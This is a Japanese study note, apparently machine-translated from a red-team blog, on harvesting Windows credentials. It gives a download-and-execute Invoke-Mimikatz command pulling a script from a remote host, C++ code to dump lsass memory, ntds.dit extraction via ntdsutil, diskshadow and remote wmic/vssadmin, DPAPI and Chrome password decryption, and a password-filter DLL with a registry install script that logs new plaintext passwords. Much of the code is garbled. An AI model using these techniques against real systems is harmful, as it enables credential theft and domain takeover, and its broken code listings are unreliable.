資格情報収集の概要

計画通りに横方向の動きを学ぶ必要がありますが、横方向の動きに問題があります。これがこの章を記録する目的です。権限を上げた後に資格を取得し、取得した資格を使用して結果を拡張するのが正しい姿勢です。学習の主な資料は、参照リンクでの共有です。参照の元のテキストを読んで、もう一度説明することをお勧めします。勉強中の私の考えや考えを記録するためのメモです。

参照:

Credential Access & Dumping

Lsass.exeプロセスのメモリから資格情報をダンプします

Execution

" IEX(New-Object System.Net.Webclient).DownloadString('http://10.10.10.128/Powershell/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
# 現在の権限には管理者が必要です

元のテキストでは、ターゲットがPowershellの例を実行している場合、スクリプトを開始できないと記載されていますが、作成者はそれに遭遇せず、すべて正常に実行されます。

Dumping Credentials Locally


言うまでもなく、最も簡単な操作です。

Powershellのダウングレード

- version
2" IEX(New-Object System.Net.Webclient).DownloadString('http://10.10.10.128/Powershell/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
# パワーシェルのバージョンを指定します

バイパス/ダウングレードしない

C#でのmimikatzの読み込みを理解する

# コンパイル後に実行

posh.csについては元のWebサイトを確認してください。

**mimikatz ** ##を使用せずに、lsassプロセスをダンプして資格情報を抽出します

参照:

浸透技術-Mimilibを使用してダンプファイルからパスワードをエクスポートします

Mimilib使用率分析

lsass.exeプロセスをダンプする方法は次のとおりです。

タスクマネージャーのダンプファイルでは、現在のユーザーが管理者グループのアカウントである必要がありますが、ダンプファイルに必要なのは標準のユーザー権限(整合性「中」)のみであるとは考えていません。UACが有効になっている場合、管理者アカウントはタスクマネージャーを使用しますファイルをダンプします。タスクマネージャの整合性は Highであるため、 System整合性の lsass.exxプロセスを操作できます。

Get-Process
824
# ダンプファイルが書き込まれるディレクトリの権限に注意してください。通常、Tempなどの書き込み権限を持つディレクトリを選択します。

プロセスダンプファイルは、ローカルの mimikatzで読み取ることができます。

MiniDumpWriteDumpを使用してlsassプロセスをダンプします

# include "stdafx.h"
# include <windows.h>
# include <DbgHelp.h>
# include <iostream>
# include <TlHelp32.h>
using
namespace
std
int main()0
NULL
L"lsass.dmp"0
NULL
NULL
0
sizeof
L""ifwhile
L"lsass.exe"0"[+] Got lsass.exe PID: "
endl
0
NULL
NULL
NULL
if
cout
"[+] lsass dumped successfully!"
endl
return0

VS 2019で新しいプロジェクトを作成するには、テンプレートとしてC ++コンソールアプリケーションを選択します。

2つのエラーが発生します。

ターゲットマシンの管理者権限で実行され、lsassプロセスのダンプファイルを自動的にダンプします。

` lsass.dmpをローカルにダウンロードし、mimikatzを使用して復号化します。


Dumping Hashes from SAM

参照:浸透のヒント-SAMデータベースを介してローカルユーザーハッシュを取得する

# レジストリからシステムファイルとsamファイルをエクスポートします

ここでは、kaliで samdump2を使用して、システムとsamを読み取ります。

mimikatzは、samとsystemをインポートすることもできます。

また、samを読み取るいくつかの方法を紹介します。

参照:モジュール〜lsadump

前提に注意してください。systemパーミッション(または systemトークン)が必要です。lsadump:: samを直接使用してください。

# ここでは、psexec4を使用して、システム権限を持つcmdを取得します

または、 token :: elevate偽のトークンを使用して system権限に昇格します(現在の前提は、現在のユーザーが管理グループのメンバーであり、管理者ユーザーであるということです)。


samファイルとsystemファイルをファイルシステムから直接コピーします。これら2つのファイルのパスは次のとおりです。


デフォルトではコピーできません。シャドウコピーを使用できます。

for

後で追加します、

Dumping LSA Secrets

LSAシークレットはレジストリに保存されます。


メモリダンプ

参照:

Dpapiを介してWindows資格情報を取得する

ブルースのためのDPAPIの乱用に関するガイドライン(パート2)

Windows LSA secrets


$ MACHINE.ACCはコンピューターオブジェクトであり、パスワードは120文字、240バイトです。パスワードに非表示の文字が含まれている場合は、16進数で表示されます。
参照:Windowsドメインでの特別なユーザー-コンピューターオブジェクトの攻撃と防御
このコマンドの用途は何ですか?以下のDPAIPセクションを参照してください

レジストリダンプ

# ここではpowershellを使用します
# cmdを使用する場合は、&ジョイナー

Systemファイルと securityはローカルに移動され、mimikatzによって読み取られます。


Dumping and Cracking mscash - Cached Domain Credentials

mscashにキャッシュされたドメインチケットをダンプしてクラックする

参照:

Belated Codegate 2014 Quals Writeups and Lessons Learned

MSCash Hash Primer for Pentesters

[ Mimikatz Part 1-Wdigest SSP](https://mp.weixin.qq.com/s?__biz=MzI5Nzc0OTkxOQ==&mid=2247483811&idx=1&sn=787dc8ba5130d810ff314da12a1eed29&scene=21#wechat_redirect)を理解していません

[ Mimikatzパート2-MSCACHEを理解していません](https://mp.weixin.qq.com/s?__biz=MzI5Nzc0OTkxOQ==&mid=2247483824&idx=1&sn=9d2de2de11eb56ac9c75936f6d656788&scene=21#wechat_redirect)

mscash、またはドメインキャッシュされた資格情報、ドメインキャッシュチケット、およびユーザーは、ログインが成功した後、キャッシュされたドメイン資格情報をシステムにローカルに保存します。キャッシュされた資格情報は、DCが通信できず、マシンにログインできることを防ぐために期限切れになりません。さらに、mscashハッシュはPTHには使用できません。

システムのどこに保存されますか?レジストリに保存されます。構造はドメイン資格情報+ドメイン承認情報ではなく、「資格情報」は「資格情報」+「承認情報」を表すために直接使用されます。

hashdump

Meterpreterでは、 hashdumpはsamにハッシュをダンプするためによく使用されます。


キャッシュされたドメイン資格情報をダンプする場合は、 postモジュールで cachedumpを使用してください。

# 現在のプロセスにシステム権限があることを確認してください

Secretsdump

secrestdumpのスクリプトはimpacketで提供され、sam、SECURITY、およびSYSTEMのレジストリに保存されているすべての資格情報をダンプできます。

# これらのキーワードを避ける必要がある場合があります

ファイルをローカルに移動し、 secretsdumpを使用して以下を読み取ります。


mimikatz

# SysKeyを取得してNLKMとMSCacheを復号化します(v2)(レジストリまたはハイブファイルから)

**hashcatを使用してmscash / mscache ** ###をクラックします

cachedumpモジュールのデフォルトの出力形式はJohnの形式です。


hashcatを使用してmscacheをクラックするには、次の形式を使用する必要があります。

$DCC2
$10240
# tom#e4e938d12fe5974dc42a90120bd9c90f
":"

' $DCC2$10240#administrator#aa9245e15ddcbdff2f461c53a624cbfa'

キャッシュされたドメイン資格情報の場所

キャッシュされたドメイン資格情報は、 HKEY_LOCAL_MACHINE \ SECURITY \ Cacheにキャッシュされます(システム権限が必要です)。

NL $ 1 ... 10は、記録された10個のドメインユーザーキャッシュチケットです。すべての値がクリアされ、DCが通信できない場合、ドメインユーザーはログインできません。

Dumping Domain Controller Hashes Locally and Remotely

No Credentials - ntdsutil

資格情報はありませんが、DCにアクセスできます。 ntdsutilを使用して、ドメイン管理権限を介して ntds.dit、 sam、および systemをエクスポートします。

" ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

tempディレクトリの下に2つのディレクトリ ActiveDirectoryと registryをエクスポートします。

impacketで secretsdumpを使用して復号化します。


No Credentials - diskshadow

参照:DiskShadow:VSS回避、永続性、およびActiveDirectoryデータベース抽出の復活

Windowsサーバー2008以降では、diskshadowを使用してntdis.ditを取得します

資格情報はありませんが、DCのドメイン管理権限を使用して、次の操作でntds.ditを取得できます。

次の内容でスクリプト shadow.txtを作成します。

setset
alias

次のコマンドを実行します。


最後に、インタラクティブな diskshadowでボリュームシャドウを明確に作成することを忘れないでください。


With Credentials

impacketプロジェクトで secretsdumpスクリプトを使用して、RPCを介してntds.ditファイルをダンプします。

' Admin!@#45'

ダンプドメインコントローラーは、wmicおよびVssadminシャドウコピーを介してハッシュします

参照:REMOTELY EXTRACT NTDS.DIT&SYSTEMハイブ

簡単に言えば、wmicリモートリンクドメインコントロールを介してローカルへのVssadminボリュームシャドウコピーを実行することです
wmicが正常に動作するための前提条件:ポート135が開いており、ターゲットマシンのwmiサービスが正常に実行されている

#45 process call create "cmd /c vssadmin create shadow /for=C: 2>&1"  #
045
call
cmd
copy
copy
copy
045
call
cmd
mkdir

3つのファイルは、前の secretsdumpスクリプトを使用して復号化できます。

ログ

ここでは、Sysmonを使用して関連するWMIログを表示し、構成ファイルは@ Cyb3rWard0gのStartLogging.xmlを使用します。


作成者が使用した環境はWindowsServer 2008 R2で、インストール中にエラーが発生しました。パッチKB3033929をインストールして解決してください。

ログはイベントビューアを介して表示され、パスは次のとおりです。アプリケーションおよびサービスログ-Microsoft-Windows-Sysmonフォルダ:

理由はわかりません、ここのキャラクターは少し奇妙です

ネットワークとインタラクティブログイン

このセクションを理解し、Windowsのさまざまなログインで資格情報を破棄するタイミング、つまり、資格情報をメモリに保存するためにログインする方法を理解してください。
注:私はパスワードではなく資格情報を使用します。これは異なります。資格情報はNTLMおよびKerberosチケットを理解できます。

参照:

Audit logon events

Windowsログ分析とイベントIDDaquan

ログ内のログインタイプの説明に注意を払うと、Microsoftが実際に多くのログインタイプを定義していることがわかります。

この記事では、太字のログインタイプが資格情報をメモリ(単にメモリとして理解される)に保存するかどうか、および対応する資格情報をキャプチャできるかどうかについて説明します。

インタラクティブログイン:初期ログイン

注:現在のユーザー管理グループのメンバー(管理者またはドメイン管理者グループのメンバーを含む)。

# privilege::debug
# sekurlsa::logonpasswords

資格情報をダンプするための後続のテストのメインツールとして、特権の高いmimikatzを準備します。

runasを介したローカルアカウントとのインタラクティブログイン


credmanの部分は気にしないでください。コマンドのこの部分は、資格情報管理を使用して手動で追加されます。資格情報がmimikatzによってダンプされていることがわかります。

runasを介したドメインアカウントでのインタラクティブログイン

# またはこの形式
# sekurlsa::logonpassword

mimikatzは資格情報をダンプしました。

**/ netonly ** ###を使用してrunas資格情報を使用してログインします

# ここでのユーザーは有効なユーザーではないことに注意してください。
# ユーザーとしてログインしていますが、ログのログインタイプは9です。これは、新しいプロセスから発信されたネットワーク接続が次の資格情報を使用していることを示しています。

mimikatzは資格情報をダンプしました。 。

ローカルアカウントでのネットワークログイン

' Admin!@#45'
# 競合を避けるために、新しいアカウントを設定してください。テスト済み

アカウントはmimikatzダンプ資格情報に表示されません。

ネットワークログインにドメインアカウントを使用する

' Admin!@#45'
# 同じネットワークセグメント上の別のマシン
test
#45

mimikatzダンプ資格情報にアカウントの資格情報がありません

ネットワークインタラクティブログインにドメインアカウントを使用する

簡単に言えば、RDP

デモンストレーションのために、現在のホストへのドメイン管理アカウントRDPを使用すると、ドメイン管理の資格情報がダンプされていることがわかります。

PsExec From An Elevated Prompt

# 他のマシンでは、現在のホストへのpsexecは、現在のユーザーのデフォルトチケットを使用します。
# ログインタイプは3ネットワークログインです

クレデンシャルは、mimikatzによってダンプされたクレデンシャルには含まれていません。

PsExec + Alternate Credentials

#45 cmd
# ユーザー資格情報を指定するための現在のホストへの他のホストpsexec
# 現在のホストの資格情報を表示する
# ログインタイプ3およびログインタイプ2,2つのログインタイプ。

mimikatzは資格情報をダンプしました。

結論として ###

Psexecを使用するときに資格情報が-Uで指定されていない限り、ネットワークログインはメモリにキャッシュされません。

インタラクティブログインとリモートインタラクティブログインの両方でチケットがメモリにキャッシュされ、mimikatを使用して簡単にダンプできます。

臨時-ELKを構成する

参考:[Windowsオペレーティングシステムのセキュリティログ監査について](https://mp.weixin.qq.com/s?__biz=MzI4MjkxOTM1Ng==&mid=2247483853&idx=1&sn=8d4b4e7944c472cc44493152f44c33c3&scene=21#wechat_redirect)

テスト中にログが表示されることがあるため、インストールされているログ監視プラットフォームのメモを次に示します。作成者の docker-compose.ymlファイルは次のとおりです。

'2.0'
docker.elastic.co/elasticsearch/elasticsearch:7.8.0
elasticsearch
discovery.type=single-node
cluster.name=es-docker-cluster
bootstrap.memory_lock=true"ES_JAVA_OPTS=-Xms512m -Xmx512m"9200:92009300:9300
docker.elastic.co/kibana/kibana:7.8.0
kibana
5601:5601
elasticsearch
. /kibana.yml:/usr/share/kibana/config/kibana.yml

kibana.ymlファイルの内容は次のとおりです。

kibana
"0.0.0.0"[" http://elasticsearch:9200"]true"zh-CN"
# コンテナが正常に開始されていることを確認します

また、ファイアウォールの問題で作者が長い間立ち往生しています。ファイアウォールをオフにしてください。使用しているシステムはCentOS8です。他のシステムとは異なる場合があります。
このため、特定のコンテナのトラブルシューティングでも失敗したことがあります。理由は定かではありませんが、ファイアウォールをオフにすると問題は解消しました。

disable

Elasticsearchとkibanaが起動するまでに少し時間がかかります。ログをチェックして、正常に起動したことを確認してください。

# elasticsearch

必ず elasticsearchにアクセスして、jsonデータの文字列を取得してください。

Winlogbeatを構成する

まず、ログインの「成功」と「失敗」、およびアカウント管理の「成功」と「失敗」のイベントを監査するように「ローカルセキュリティポリシー」が設定されていることを確認し、対応するイベントが「セキュリティ」イベントログに記録されるようにします。監査イベントのソースになります。

Winlogbeatを C:\ Program Filesにダウンロードし、解凍して名前を Winlogbeatに変更し、スクリプトを使用してPowershellに Winlogbeatサービスをインストールします。

# 管理者権限で開いてください
' C:\Program Files\Winlogbeat'
install-service
- winlogbeat
# powershellスクリプト実行戦略が原因で、インストールが失敗しました
- ExecutionPolicy
install-service
- winlogbeat

Winlogbeatディレクトリの winlogbeat.ymlファイルを変更します。作成者の構成は次のとおりです。

参照:Winlogbeatを構成する

Application
Security
System
Windows
PowerShell
Microsoft-Windows-PowerShell/Operational
Microsoft-Windows-Sysmon/Operational
10.10.10.129:9200" winlogbeat""winlogbeat-*"false

10.10.10.129 elasticsearchが配置されているホストアドレスです。winlogbeat.exetestconfigを使用して、構成が間違っているかどうかを確認してください。

- c
- e
Start-Service
# サービス開始

参考:Winlogbeatを使い始める

Kibanaでログを表示

関連するログを表示するには、[検出]パネルで「winlogbeat *」のインデックスを選択します。

関連するセキュリティログは、SIEMにもあります。

関連する高度なアプリケーションには、レコードを再利用する機会があります。

Reading DPAPI Encrypted Secrets with Mimikatz and C++

参照:

Operational Guidance for Offensive User DPAPI Abuse

[ナレッジレビュー]詳細なDPAPI

ブルースのためのDPAPIの乱用へのガイド(パート1)

ブルースのためのDPAPIの乱用に関するガイドライン(パート2)

MimikatzのDPAPIの学習と実践

Windows Password Recovery - DPAPI Master Key analysis

概要:

ここにいくつかの重要な詳細があります:

参照:Dpapiを介したWindowsID資格情報の取得

in"C:\Users\jerry\AppData\Roaming\Microsoft\Protect\S-1-5-21-1682194975-1712503958-586237246-1001\8e2ec505-1722-405f-ac68-ff0c19231564"
# dpapiを使用できます::masterkeyはマスターキーファイルを指定し、/パスワードまたは/マスターキーを取得するために復号化するハッシュ
# 注:ここでのハッシュに価値がある場合は、ntlmまたはsha1を使用でき、ntlmはテストで復号化できず、sha1は正常に復号化されます
# 以下は、システムマスターキーファイルを復号化するコマンドです。
in"C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\02efa129-bc22-45e1-bfe3-65f510ed0f99"
# 復号化されたキーは、以下のlsadumpから取得されます::secrets
# ユーザーのマスターキーファイルを復号化するデモはありません。次の方法を使用して、ユーザーのマスターキーファイルを取得できます。

ここでは、復号化できるのは「マスターキー」の方法についても説明します。

参照:浸透スキル-WindowsでDPAPIのMasterKeyを取得する

最初の方法#マスターキーを直接取得する#2番目の方法#現在の権限は管理者(高)#SECRETSキーの復号化に使用されるSyskeyを取得する(レジストリまたはハイブデータから取得)。 #注:ここで取得されるのは、復号化されたキーのみ、または別の方法では、事前キーです。#取得されたキーの復号化は、マスターキーを取得するためのマスターキーファイルに対応します。これは、間接的な方法です。#シークレットについては後で説明します![] (https://cdn.wuhash.com/lsadump-secrets-システムマスターkey.jpgを取得します)

得られた図は、DPAPI-SYSTEMのマスターキーです。

dump lsass process memory#Registry export log "lsadump :: secrets /system:System.hiv /security:SECURITY.hiv"

必要な情報「C:\ Users \ jerry \ AppData \ Roaming \ Microsoft \ Protect \ S-1-5-21-1682194975-1712503958-586237246-1001 \ 8e2ec505-1722-405f-ac68のマスターキーファイル、SID、パスワード-ff0c19231564 "

マスターキー暗号化の結果は、DPAPIデータ本体(つまり、blob)と呼ばれます。これでアイデアは明確になりました。システム内のアプリケーション暗号化のdpapiblob部分を探してください。

ChromeのCookieとログインデータを読む

参照:侵入のヒント-Chromeブラウザに保存されたパスワードのオフラインエクスポート

クッキーを読む:

in"%localappdata%\Google\Chrome\User Data\Default\Cookies"

ログイン資格情報の読み取り:

in"%localappdata%\Google\Chrome\User Data\Default\Login Data"

v83の最新バージョンはテストに失敗します

Update:

v83でテストされたパスは次のとおりです。

" %localappdata%\Google\Chrome\User Data\Profile 1\Cookies""%localappdata%\Google\Chrome\User Data\Profile 1\Login Data"

これらの2つのファイルは、基本的にSQLiteデータベースです。

著者の個人情報が含まれているため、高度にコード化されています。

in"%localappdata%\Google\Chrome\User Data\Profile 1\Cookies"in"%localappdata%\Google\Chrome\User Data\Profile 1\Login Data"
# ターゲットマシンで使用/unprotect
# オフラインでの使用に指定/masterkey

復号化はまだ成功していませんが、いくつかの情報が表示され、関連する問題が表示されています
また、Chromeログインデータを復号化できる他のツールがあることもわかりました。

データの保護とキャンセル

現在ログインしているユーザーのみがアクセスできるデータを暗号化するには、 dpapi :: protectを使用します。

簡単に言えば、DPAPIインターフェイス暗号化を呼び出す

" spotless"
# 文字を指定しない場合、デフォルトは"mimikatz"キャラクター

ブロブをコピーしてHxdの新しいファイルに貼り付け、 spotless.binとして保存し、ユーザーのコンテキストで実行して復号化します。

in"C:\Users\****\Downloads\spotless.bin"
# マスターキーはオフラインで指定できます。暗号化に使用されるマスターキーと復号化に使用されるマスターキーが同じであることを明確にする必要があります。同じでない場合、復号化は失敗します。
# GUIDの値に従って、対応するキーを見つける方法

暗号化された文字が正常に復号化されたことがわかります。

DPAPIを使用して、C ++でデータを暗号化/復号化します

# include <iostream>
# include <Windows.h>
# include <dpapi.h>
# pragma comment(lib,"crypt32.lib")
int main()00"spotless"
L"C:\\Users\\***\\Downloads\\spotless_1.bin"0
NULL
NULL
sizeof
NULL
NULL
NULL
NULL
NULL
NULL
return0

コードの元のバージョンはコンパイルに失敗し、解決策は見つかりませんでした。@冷逸コードの解決策がここで使用されます。

次に、mimikatzを使用して、結果のバイナリファイルを復号化してみます。

in"C:\Users\***\Downloads\spotless_1.bin"

出力がHexであることがわかります。

最後のポイント(00)がわかりません

mimikatzで作成された前の spotless.binと後者の spotless_1.binを比較します。

前の部分は同じです

mimikatzで作成された暗号化されたバイナリファイルを復号化してみてください。

# include <iostream>
# include <Windows.h>
# include <dpapi.h>
# pragma comment(lib,"crypt32.lib")
int main()00"spotless"30003000
L"c:\\users\\***\\Downloads\\encrypted.bin"0
NULL
NULL
L"c:\\users\\****\\Downloads\\spotless.bin"0
NULL
NULL
0 //encrypt
sizeof
NULL
NULL
NULL
NULL
NULL
NULL
//decrypt
NULL
NULL
NULL
NULL
NULL
NULL
NULL
0 return0

元のテキストは、メモリから復号化された文字列のビューを表現するためのものですが、作成者はここでそれを表示できませんでした。

レジストリからリモートリンクマネージャのパスワードを読み取ります

リモートデスクトップ接続管理(略してRDCMan)は、Microsoftが提供するリモートデスクトップ管理ツールです。RDCManは、一般的に使用されるリモートデスクトップを一元管理できます。最新バージョンは2.7で、2012R2のみをサポートできます。公式はダウンロードとメンテナンスを提供しなくなりました。

Hxdでファイルを開き、パスワードの部分を見つけます。明らかに、これはBase64エンコーディングです。

Base64をデコードしてみてください:

echo

hexの最初の62バイトは、DPAPIを使用して以前に暗号化された spotless.binファイルと同じであることに注意してください。

元のテキストは、上記の CryptUnprotectDataを使用してユーザーコンテキストで実行し、VSを使用してメモリ内の文字を表示します。作成者の前のプログラムが正常に表示できなかった文字は、ここでは正常に再現されていません。

ここでは、Mimikatzを使用してファイルを復号化します。2つのケースがあります。

実際、私の復号化方法は比較的非効率的です。Mimikatzはrdgファイルを自動的に復号化しました。

これは一時的な障害であり、障害の理由は一時的に不明です。 bloファイルの復号化の例を次に示します。上記の手順を理解すると、dpapiで暗号化された他のファイルを復号化できます。

他のユーザーのファイルを復号化

システムに他のユーザーがいる場合、対応するユーザーのDPAPIマスターキーがないため、暗号化されたデータを読み取ることができません。ローカル管理ユーザーを取得している場合は、対応するマスターキーを取得して復号化してみてください。

in"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data"
# CryptUnprotectDataAPIを呼び出す
# 復号化エラー
# メモリ内のユーザーに対応するマスターキーを見つけます
in"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data"
# 解読するだけ

ドメイン管理を使用してDPAPIバックアップキーを抽出します

参照:

Retrieving DPAPI Backup Keys from Active Directory

MimikatzのDPAPIの学習と実践

ドメインユーザーのマスターキーファイルは、ドメインのDPAPIキー(またはドメインバックアップキー)によって保護されており、キー値は変更されません。

export
# システムパラメータは、完全なFQDNとアドレスを使用できます
# 現在のアカウントはドメインマネージャーである必要があります

# ドメインユーザーのマスターキーファイルを復号化します
in"C:\Users\jerry.0DAY\AppData\Roaming\Microsoft\Protect\S-1-5-21-1812960810-2335050734-3517558805-1128\015aa6db-dde2-43f4-808d-30b95b50f910"

ドメインユーザーのマスターキーを取得し、そのキーを使用してドメインユーザーの関連ファイルを復号化します。

T1214: Credentials in Registry

言うまでもなく、サードパーティのアプリケーションパスワードはレジストリに保存され、レジストリが取得されて関連する機密情報が検索されます。


T1174: Password Filter

参照:

Password Filters

浸透試験におけるパスワードフィルターDLLの適用

パスワードフィルターDLLを監視するために追加のLSA保護を構成する

この作品はスタンプとはほとんど関係ありません

Credential Access – Password Filter DLL

ドメイン環境またはワークグループ環境では、セキュリティを向上させるために、パスワードポリシーの複雑さの要件をグループポリシーでオンにすることができます。

それでも複雑さが必要な場合は、パスワードフィルターDLLを使用して、パスワードの複雑さをさらに高めることができます。

DLLを構築する

# include "stdafx.h"
# include <windows.h>
# include <stdio.h>
# include <WinInet.h>
# include <ntsecapi.h>
# include <stdio.h>
# include <iostream>
# include <fstream>
using
namespace
std
voidwriteToLog(const char* szString)"c:\\logFile.txt""a+"if
NULL
return
fprintf
" %s\r\n"return
extern
" C"
BOOLEAN __stdcall InitializeChangeNotify(void)
L"InitializeChangeNotify""InitializeChangeNotify()"return
extern
" C"
BOOLEAN __stdcall PasswordFilter(
	PUNICODE_STRING AccountName,
	PUNICODE_STRING FullName,
	PUNICODE_STRING Password,
	BOOLEAN SetOperation)
L"PasswordFilter"return
extern
" C"
NTSTATUS __stdcall PasswordChangeNotify(
	PUNICODE_STRING UserName,
	ULONG RelativeId,
	PUNICODE_STRING NewPassword)"c:\\logFile.txt""a+"
L"PasswordChangeNotify"if
NULL
returntrue
fprintf
" %ws:%ws\r\n"return0

VSで動的リンクライブラリプロジェクトをコンパイルします。

注:プリコンパイルされたヘッダーに &quot; stdafx.hを追加し、ターゲットに対応するビット数とバージョンを選択します

パスワードフィルターDLLをインストール

" hklm\system\currentcontrolset\control\lsa""notification packages""hklm\system\currentcontrolset\control\lsa""notification packages"
# なぜ持っている\0?ラップします

**Powershell **でレジストリを設定します###

上記の同様の効果は、Powershellでも完了できます。

$passwordFilterName
Copy-Item
" Password-Filter-DLL"-Destination
" C:\Windows\System32"-PassThru
$lsaKey
Get-Item
" HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
$notificationPackagesValues
$lsaKey
" Notification Packages"
$notificationPackagesValues
$passwordFilterName
Set-ItemProperty
" HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
" Notification Packages"
$notificationPackagesValues
Restart-Computer
- Confirm
# 必要な管理権限

総括する ###

このパスワード収集方法は非常に動的であり、ターゲットを再起動する必要があり、パスワードの複雑さを有効にするために現在の管理権限が必要です。

Miyoshiの学生ブログで言及されているように、グループポリシーの構成を変更し、グループポリシーのパスワードの複雑さを有効にすることも方法です。

Forcing WDigest to Store Credentials in Plaintext

参照:

Mimikatzの詳細な分析:WDigest

ミミカッツから身を守る方法

Wdigestは、http認証用のlsassプロセスにユーザーのパスワードを保存するための単なるプロトコルです。

Windows Server 2008 R2より前は、システムはデフォルトでWDigest資格情報をキャッシュしていましたが、システムはプレーンテキスト資格情報をキャッシュしなくなりました。
システムの古いバージョンにはKB2871997のパッチが適用されており、レジストリを変更してWDigestプロトコルを無効にすることができます。

Negotiateと UseLogonCredentialを0に設定すると、Windosサーバー2016とWindows10には UseLogonCredentialがありません。

WDigestプロトコルは、レジストリを変更することで再度有効にできます。

# 管理者権限
# ログオフまたは再起動して有効にします
# 値を削除して、WDigestプロトコルを無効にします
# お問い合わせ

オンになる前は次のようでした。


開いた後、次のようにパスワードを取得します。

碑文のパスワードが正常に取得されたことがわかります。

注:Metasploitの post / windows / manage / wdigest_cachingにレジストリを自動的に変更するためのモジュールがあります

Dumping Delegated Default Kerberos and NTLM Credentials w/o Touching LSASS

Lsassに触れることなく、委任されたKerberosおよびNTLM資格情報をダンプします

いくつかの基本

浸透スキル-WindowsでのCredentialManagerの情報取得
注:三好学生の原文を読むことをお勧めします
Penetration Test Practical Edition 3(Red Team Edition)-Windows CredentialManagerとブラウザからパスワードを取得します
Kinds of Credentials
Credentials Processes in Windows Authentication

# オープン資格管理

Credential Manager(Credential Manager)は、システム、Webサイト、およびサーバーのユーザー、パスワード、および証明書を保存するためにWindows7またはWindowsServer 2008R2で導入された機能です。確認にMicrosoftIE / EDGEを使用すると、「パスワードを保存する」というメッセージが表示されます。保存する場合は、再度確認すると自動的にログインします。

たとえば、RDPを使用して資格情報を記憶することを選択すると、新しいWindows資格情報が資格情報マネージャーに追加されます。

Credential Managerには、次の2種類の資格情報があります。

この部分は、Windowsのバージョンによって少し異なります。たとえば、Windows 7には、Windows資格情報、証明書ベースの資格情報、通常の資格情報のみがあり、Web資格情報はありません。

Windows資格には、Windows資格、証明書ベースの資格、および通常の資格の3つのタイプがあります。

Microsoftのドキュメントでは、Credentials Management APIは、ドメイン資格情報(ドメイン資格情報)と汎用資格情報(一般資格情報)の2種類の資格情報に分けられています。
ドメイン資格情報はLSAによってのみ読み取りおよび書き込みが可能であり、共通資格情報はユーザープロセスによって読み取りおよび書き込みが可能です。

# コントロールパネルを開くと、関連する請求書を表示できます。または、次のコマンドを使用できます。
# 保存されているすべてのユーザー名とチケットを表示する
# 資格情報としてユーザー名とパスワードを追加します
# パスワードを指定せずに資格情報を追加する
# リモートアクセス用に保存されている資格情報を削除する
# 資格情報を削除する
# 注:このコマンドは、Web資格情報ではなく、Windows資格情報を変更します
# 注:ユーザーが異なる%localappdata%異なる、cmdkeyの変更は、現在のユーザーの資格情報にのみ適用されます。たとえば、ユーザーAがcmdkeyを使用して変更した場合、ユーザーB(ドメインユーザーになることができます)はそれを表示できません。

参照:Cmdkey

資格情報が保存される場所は %localappdata%/ Microsoft \ Vaultで、これはボールトと呼ばれます。

# ボールト関連のコマンドを変更する
# ボールトを一覧表示する
# 資格スキーマの一覧表示
# 中国のシステムは中国を使用してください
" Web資格情報"
# ボールト内の資格情報を表示する
" Windowsの資格情報"
# ボールトを追加します。特定のパラメータを確認してください
# ボールトを削除する
# ボールトのプロパティを表示するには、ボールトを指定する必要があります
# 同期、参照ストアのパスワードに関連している可能性があります、作成者は不明です

さらに、mimikatzは、ボールト内の関連情報を表示するための関連コマンドも提供します(WEB資格情報はプレーンテキストであり、ドメインパスワードは暗号化されて保存されます。当面、復号化する方法がわかりません)

解読したい友達に考えてみてください。これはDPAPIにも関連していると思います。

上記の知識を理解した後、このセクションのトピックである資格情報の配布を見てみましょう。

関連設定

参照:CredSSP / TSPKG(RDP SSO)を悪用して、管理者なしで、またはKekeoでLSASSに触れずに資格情報を盗む

資格情報の割り当てにより、管理者(ドメイン管理者)は特定のSPN(サービス)が割り当てられた資格情報を受け入れることを承認できます。

たとえば、資格情報の配布をオンにすると、RDPは資格情報を入力せずに直接リンクします。

これには、デフォルトで構成されていないグループポリシー設定が含まれます。奇妙な場合、デフォルトのグループポリシーでは、資格情報は2回リンクでき、資格情報なしでリンクできることに注意してください。
資格情報がRDPサーバーに割り当てられているかどうかという質問があります。確認するために、そうではないと思います。

関連するグループポリシー:

注:作成者はドメイン環境にいるため、グループポリシーはドメインの制御下で発行されます。構成後、 gpupdateしてください。

複数の資格情報を混同するのは簡単です。ここに表示される3種類の資格情報について説明してください。
デフォルトの資格情報は、Windowsに初めてログインするときに使用される資格情報です。
保存された資格情報は、資格情報管理で保存された資格情報を参照します
新しい資格情報は、アプリケーションの実行時にプロンプトが表示される資格情報を参照します

レジストリの関連設定は次のとおりです。HKEY_LOCAL_MACHINE\ Software \ Policies \ Microsoft \ Windows \ CredentialsDelegation

構成されていない場合、アイテムは存在しません。ここで、「デフォルトの資格情報の割り当てを許可する」を有効にし、サーバーリストの値は「TERMSRV / *」(この値は実際にはSPN)であり、資格情報を割り当てるためのシステムのデフォルトのグループポリシーはレジストリにあります。真ん中のパスは HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Lsa \ Credssp \ PolicyDefaultsです。

Kekeoはレジストリ内の値を列挙できます:

Kerberosをダンプ

グループポリシー構成により、ポリシー設定 TERMSRV / *の値である「デフォルトの資格情報の割り当てを許可する」が有効になります。

# SRV-DB-0DAYの運用
# システム権限、またはシステム権限を取得する他の方法
# レジストリ関連の構成を確認する
#
# PC-jerry-0day
# 全体の操作プロセスを図に示します。

**SRV-DB-0DAY **割り当てられた資格情報がキャプチャされます。

さらに、PC-jerry-0dayで新しいチケットが生成されます。

NTLMをダンプ

グループポリシーの構成により、「デフォルトの資格情報の割り当てを許可する」と「デフォルトの資格情報のユーザーのみのNTLM認証の割り当てを許可する」が有効になり、設定値は両方とも「*」になります。

ここでは2つの kekeoが有効になっています。1つは clien用、もう1つは server用です。

注:すべての標準ユーザー(ドメインユーザー、非管理者権限)

# クライアントはサーバーを検証できません。`tsssp::client /target:A`Ainは任意の値にすることができます

キャプチャされたのは現在のアカウント 0day \ jerryのパスワードであることがわかります。注:現在の資格管理にはそのようなアカウントはなく、RDPによって保存された 0day \ sqladminのみです。

つまり、現在のアカウントのパスワードは、Lsassに連絡しなくても取得できます。

配布ノートを手動で開く

遭遇する可能性のあるターゲットは、配布資格情報に対して有効になっていません。配布チケットを有効にする方法:

